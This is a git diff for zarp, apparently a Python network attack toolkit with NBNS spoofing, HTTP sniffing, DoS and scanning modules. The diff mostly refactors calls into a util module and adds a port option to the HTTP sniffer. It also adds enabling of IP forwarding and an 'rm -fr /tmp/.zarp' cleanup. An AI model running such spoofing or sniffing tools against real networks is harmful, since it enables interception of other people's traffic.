4d9180f..f2a9b21 100644 --- a/src/modules/poison/nbns.py +++ b/src/modules/poison/nbns.py @@ -49,7 +49,7 @@ def handler(self, pkt): def initialize(self): """Initialize spoofer """ - util.Msg('[!] Starting NBNS spoofer...') + util.Msg('Starting NBNS spoofer...') sniffr = Thread(target=self.sniff_thread) sniffr.start() self.running = True diff --git a/src/modules/sniffer/http_sniffer.py b/src/modules/sniffer/http_sniffer.py index f9271ac..03a5177 100644 --- a/src/modules/sniffer/http_sniffer.py +++ b/src/modules/sniffer/http_sniffer.py @@ -22,7 +22,11 @@ def __init__(self): "regex":Zoption(type = "regex", value = None, required = False, - display = "Regex for level 5 verbosity") + display = "Regex for level 5 verbosity"), + 'port':Zoption(type = "int", + value = 80, + required = False, + display = "Port to sniff on") }) self.info = """ The HTTP sniffer is a fairly robust sniffer module that @@ -47,8 +51,9 @@ def __init__(self): def initialize(self): """Initialize the sniffer""" - self.sniff_filter = "tcp and dst port 80 and src %s" % \ - self.config['target'].value + self.sniff_filter = "tcp and dst port %s and src %s" % \ + (self.config['port'].value, + self.config['target'].value) self.run() util.Msg("Running HTTP sniffer...") return True @@ -84,7 +89,7 @@ def pull_output(self, pkt): the packet and return formatted data. """ verb = self.config['verb'].value - data = pkt.getlayer(Raw).load + data = pkt.getlayer(Raw).load.rstrip() if verb is 1: # parse the site only data = re.findall('Host: (.*)', data) diff --git a/zarp.py b/zarp.py index 15ab51d..32198d8 100755 --- a/zarp.py +++ b/zarp.py @@ -1,12 +1,12 @@ #! /usr/bin/python from os import getcwd, getuid, _exit +from os.path import exists from sys import path, argv, exit, version, version_info path.insert(0, getcwd() + '/src/') path.insert(0, getcwd() + '/src/core/') path.insert(0, getcwd() + '/src/modules/') path.insert(0, getcwd() + '/src/lib/') -from util import print_menu, header, Error, Msg, debug, check_dependency from commands import getoutput # module loading from src.modules import poison, dos, scanner, services @@ -15,6 +15,7 @@ import database from colors import color import platform +import util try: # load py2.7 stuff here so we can get to the depends check @@ -45,49 +46,49 @@ def load(self): crashes related to unmet dependencies. """ for module in poison.__all__: - if check_dependency('src.modules.poison.%s' % module): + if util.check_dependency('src.modules.poison.%s' % module): mod = getattr(importlib.import_module( 'src.modules.poison.%s' % module, 'poison'), module) self.poison.append(mod) self.total += 1 for module in dos.__all__: - if check_dependency('src.modules.dos.%s' % module): + if util.check_dependency('src.modules.dos.%s' % module): mod = getattr(importlib.import_module( 'src.modules.dos.%s' % module, 'dos'), module) self.dos.append(mod) self.total += 1 for module in scanner.__all__: - if check_dependency('src.modules.scanner.%s' % module): + if util.check_dependency('src.modules.scanner.%s' % module): mod = getattr(importlib.import_module( 'src.modules.scanner.%s' % module, 'scanner'), module) self.scanner.append(mod) self.total += 1 for module in services.__all__: - if check_dependency('src.modules.services.%s' % module): + if util.check_dependency('src.modules.services.%s' % module): mod = getattr(importlib.import_module( 'src.modules.services.%s' % module, 'services'), module) self.services.append(mod) self.total += 1 for module in sniffer.__all__: - if check_dependency('src.modules.sniffer.%s' % module): + if util.check_dependency('src.modules.sniffer.%s' % module): mod = getattr(importlib.import_module( 'src.modules.sniffer.%s' % module, 'sniffer'), module) self.sniffers.append(mod) self.total += 1 for module in parameter.__all__: - if check_dependency('src.modules.parameter.%s' % module): + if util.check_dependency('src.modules.parameter.%s' % module): mod = getattr(importlib.import_module( 'src.modules.parameter.%s' % module, 'parameter'), module) self.parameter.append(mod) self.total += 1 for module in attacks.__all__: - if check_dependency('src.modules.attacks.%s' % module): + if util.check_dependency('src.modules.attacks.%s' % module): mod = getattr(importlib.import_module( 'src.modules.attacks.%s' % module, 'attacks'), module) @@ -108,7 +109,7 @@ def main(): # load modules loader = LoadedModules() loader.load() - Msg('Loaded %d modules.' % loader.total) + util.Msg('Loaded %d modules.' % loader.total) # handle command line options first if len(argv) > 1: @@ -121,8 +122,8 @@ def main(): running = True choice = -1 while running: - header() - choice = print_menu(main_menu) + util.header() + choice = util.print_menu(main_menu) if choice == 0: # check if they've got running sessions! cnt = stream.get_session_count() @@ -133,23 +134,27 @@ def main(): color.B_GREEN + '] ' + color.END choice = raw_input(display % cnt) if 'y' in choice.lower() or choice == '': - Msg('Shutting all sessions down...') + util.Msg('Shutting all sessions down...') stream.stop_session('all', -1) running = False - # recheck that all sessions are down - cnt = stream.get_session_count() - if cnt <= 0: - # some libs dont clean up their own threads, so - # we need to hard quit those to avoid hanging; FIXME - _exit(1) else: - debug("Exiting with session count: %d" % (cnt)) - Msg("Exiting...") + util.debug("Exiting with session count: %d" % (cnt)) + util.Msg("Exiting...") running = False + + # remove zarp temporary directory + util.init_app('rm -fr /tmp/.zarp/') + + # recheck that all sessions are down + cnt = stream.get_session_count() + if cnt <= 0: + # some libs dont clean up their own threads, so + # we need to hard quit those to avoid hanging; FIXME + _exit(1) elif choice == 1: while True: - choice = print_menu([x().which for x in loader.poison]) + choice = util.print_menu([x().which for x in loader.poison]) if choice == 0: break elif choice == -1: @@ -160,7 +165,7 @@ def main(): stream.initialize(loader.poison[choice - 1]) elif choice == 2: while True: - choice = print_menu([x().which for x in loader.dos]) + choice = util.print_menu([x().which for x in loader.dos]) if choice == 0: break elif choice == -1: @@ -171,7 +176,7 @@ def main(): stream.initialize(loader.dos[choice - 1]) elif choice == 3: while True: - choice = print_menu([x().which for x in loader.sniffers]) + choice = util.print_menu([x().which for x in loader.sniffers]) if choice == 0: break elif choice == -1: @@ -182,7 +187,7 @@ def main(): stream.initialize(loader.sniffers[choice - 1]) elif choice == 4: while True: - choice = print_menu([x().which for x in loader.scanner]) + choice = util.print_menu([x().which for x in loader.scanner]) if choice == 0: break elif choice == -1: @@ -193,7 +198,7 @@ def main(): stream.initialize(loader.scanner[choice - 1]) elif choice == 5: while True: - choice = print_menu([x().which for x in loader.parameter]) + choice = util.print_menu([x().which for x in loader.parameter]) if choice == 0: break elif choice == -1: @@ -204,7 +209,7 @@ def main(): stream.initialize(loader.parameter[choice - 1]) elif choice == 6: while True: - choice = print_menu([x().which for x in loader.services]) + choice = util.print_menu([x().which for x in loader.services]) if choice == 0: break elif choice == -1: @@ -215,7 +220,7 @@ def main(): stream.initialize(loader.services[choice - 1]) elif choice == 7: while True: - choice = print_menu([x().which for x in loader.attacks]) + choice = util.print_menu([x().which for x in loader.attacks]) if choice == 0: break elif choice == -1: @@ -233,12 +238,12 @@ def main(): if __name__ == "__main__": # perm check if int(getuid()) > 0: - Error('Please run as root.') + util.Error('Please run as root.') _exit(1) # check python version if version_info[1] < 7: - Error('zarp must be run with Python 2.7.x. You are currently using %s' + util.Error('zarp must be run with Python 2.7.x. You are currently using %s' % version) _exit(1) @@ -246,22 +251,27 @@ def main(): system = platform.system().lower() if system == 'darwin': if not getoutput('sysctl -n net.inet.ip.forwarding') == '1': - Msg('IPv4 forwarding disabled. Enabling..') + util.Msg('IPv4 forwarding disabled. Enabling..') tmp = getoutput( 'sudo sh -c \'sysctl -w net.inet.ip.forwarding=1\'') if 'not permitted' in tmp: - Error('Error enabling IPv4 forwarding.') + util.Error('Error enabling IPv4 forwarding.') exit(1) elif system == 'linux': if not getoutput('cat /proc/sys/net/ipv4/ip_forward') == '1': - Msg('IPv4 forwarding disabled. Enabling..') + util.Msg('IPv4 forwarding disabled. Enabling..') tmp = getoutput( 'sudo sh -c \'echo "1" > /proc/sys/net/ipv4/ip_forward\'') if len(tmp) > 0: - Error('Error enabling IPv4 forwarding.') + util.Error('Error enabling IPv4 forwarding.') exit(1) else: - Error('Unknown operating system. Cannot IPv4 forwarding.') + util.Error('Unknown operating system. Cannot IPv4 forwarding.') exit(1) + # create temporary directory for zarp to stash stuff + if exists("/tmp/.zarp"): + util.init_app("rm -fr /tmp/.zarp") + util.init_app("mkdir /tmp/.zarp") + main()